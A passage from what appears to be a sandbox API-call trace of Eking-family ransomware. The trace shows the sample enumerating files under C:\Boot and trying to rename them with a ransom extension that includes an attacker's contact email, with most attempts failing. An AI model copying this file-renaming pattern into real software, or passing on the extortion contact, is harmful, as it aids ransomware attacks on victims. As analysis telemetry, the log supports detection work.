(lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0054.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0054.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.667] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.667] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0054.667] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=3694080) returned 1 [0054.667] CloseHandle (hObject=0x164) returned 1 [0054.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0054.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0054.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0054.668] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.939] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=3876772) returned 1 [0054.939] CloseHandle (hObject=0x1c0) returned 1 [0054.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0054.939] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0054.939] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0054.940] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.950] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=1984228) returned 1 [0054.950] CloseHandle (hObject=0x1c0) returned 1 [0054.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0054.952] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0054.954] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0054.963] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.963] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=2371360) returned 1 [0054.963] CloseHandle (hObject=0x1c0) returned 1 [0054.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0054.964] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0054.964] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0054.964] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.964] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=47452) returned 1 [0054.964] CloseHandle (hObject=0x1c0) returned 1 [0054.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0054.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0054.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.964] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.965] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.965] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=93248) returned 1 [0054.965] CloseHandle (hObject=0x1c0) returned 1 [0054.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0054.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0054.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.965] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.965] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.965] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=90688) returned 1 [0054.965] CloseHandle (hObject=0x1c0) returned 1 [0054.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0054.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0054.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.966] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.966] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.966] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=90704) returned 1 [0054.966] CloseHandle (hObject=0x1c0) returned 1 [0054.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0054.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0054.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.966] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.967] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.967] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=76352) returned 1 [0054.967] CloseHandle (hObject=0x1c0) returned 1 [0054.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0054.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0054.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.967] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.967] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.968] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=75344) returned 1 [0054.968] CloseHandle (hObject=0x1c0) returned 1 [0054.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0054.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0054.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.968] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.968] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.972] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=485760) returned 1 [0054.972] CloseHandle (hObject=0x1c0) returned 1 [0054.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0054.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0054.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\memtest.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.972] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.973] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.973] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=88144) returned 1 [0054.973] CloseHandle (hObject=0x1c0) returned 1 [0054.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0054.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0054.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.973] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.973] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.974] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=90704) returned 1 [0054.974] CloseHandle (hObject=0x1c0) returned 1 [0054.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0054.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0054.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.974] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.974] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.974] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=90704) returned 1 [0054.974] CloseHandle (hObject=0x1c0) returned 1 [0054.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0054.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0054.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.975] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.975] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.975] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=90176) returned 1 [0054.975] CloseHandle (hObject=0x1c0) returned 1 [0054.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0054.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0054.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.975] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.975] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.976] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=89664) returned 1 [0054.976] CloseHandle (hObject=0x1c0) returned 1 [0054.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0054.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0054.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.976] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.976] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.976] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=90192) returned 1 [0054.976] CloseHandle (hObject=0x1c0) returned 1 [0054.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0054.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0054.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.977] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.977] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.977] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f810 | out: lpFileSize=0x2e3f810*=87616) returned 1 [0054.977] CloseHandle (hObject=0x1c0) returned 1 [0054.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0054.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0054.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0054.978] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 